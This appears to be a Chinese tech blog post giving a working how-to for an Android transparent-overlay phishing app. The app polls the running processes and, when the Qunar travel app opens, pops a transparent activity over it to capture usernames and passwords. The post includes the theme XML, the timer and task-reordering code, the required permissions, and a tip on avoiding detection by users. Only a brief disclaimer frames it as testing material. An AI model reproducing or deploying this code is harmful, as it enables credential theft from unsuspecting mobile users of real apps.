android透明UI欺骗的简单实现

1.应用使用方法

将本应用运行在后台,当特定的应用启动时,本应用会自动弹出背景透明的界面,覆盖在原应用上,特别是当被覆盖应用启动时是密码输入界面时,透明UI可以欺骗用户,以达到获取用户名、密码等个人信息的目的。

2.实现原理

本程序使用到透明背景界面的创建、应用后台转前台、定时查找当前运行task和app等功能。

3.实现步骤

3.1实现透明UI

首先实现自己定义的透明主题,在res/values/styles.xml中定义style如下:
<style name="shenmegui_transparent">
    <item name="android:windowBackground">@color/transparent</item>
    <item name="android:windowNoTitle">true</item>
    <item name="android:windowIsTranslucent">true</item>
    <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
</style>

其中 color/transparent是定义在res/values/colors.xml中的透明色,所以在res/values/colors.xml中添加:

<color name="transparent">#0000</color>
最后在AndroidManifest.xml文件中引入自己的主题:
android:theme="@style/shenmegui_transparent">
这样,我们的界面就是透明的了。

3.2实现定时查看当前运行程序功能

当被伪造的程序开始运行时,需要弹出伪造界面,故需不断的查看当前运行的程序,本程序使用timer实现。当当前运行程序是欲覆盖应用时,使用moveTaskToFront将应用欺骗界面显示出来。具体程序如下:
public void timer(final Context context){
        Timer timer=new Timer();
        final TimerTask timerTask=new TimerTask() {
        @Override
        public void run() {
            ActivityManager myActivityManager= (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE);
            List<ActivityManager.RunningTaskInfo> list_task=myActivityManager.getRunningTasks(100);
            List<ActivityManager.RunningAppProcessInfo> list=myActivityManager.getRunningAppProcesses();

            //若当前运行程序为“去哪儿”,则调用欺骗界面。
            if (list.get(0).processName.equals("com.Qunar")){
                //为了使“去哪儿”程序完全呈现出来,暂停本程序6s。此处不暂停可用来实现程序锁功能。
                try{
                    Thread.sleep(6000);
                    Log.i("shenmegui","成功暂停6s");
                }catch (InterruptedException e){
                    e.printStackTrace();
                }
                //遍历当前运行task,找到本程序所在task,移至前台。
                for (ActivityManager.RunningTaskInfo i:list_task
                     ) {
                    if (i.topActivity.getPackageName().equals(context.getPackageName())){
                        myActivityManager.moveTaskToFront(i.id,0);
                    }
                }
                //调用欺骗界面。
                Intent intent=new Intent();
                intent.setClass(context,SecondActivity.class);
               // intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(intent);
                this.cancel();
            }
            Log.i("processName", list.get(0).processName);
        }
    };

    timer.schedule(timerTask,0,4*1000);
}

其中SecondActivity.class即为弹出的透明UI欺骗界面。具体SecondActivity类的写法就是根据被模仿的程序界面不同而不同了,但是要注意,要在SecondActivity中写退出程序的语句,否则用户不能在透明界面进一步操作,就会被用户发现。
最后还要注意在AndroidManifest.xml中写上权限的声明:
    <uses-permission android:name="android.permission.REORDER_TASKS"></uses-permission>
    <uses-permission android:name="android.permission.GET_TASKS"></uses-permission>

4.郑重声明

本透明UI欺骗程序只能用于正当用途,比如只用来测试目标软件是否具有防止被透明UI欺骗的能力。本文档只作为本人日后参考和android漏洞测试人员最初级学习参考。



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值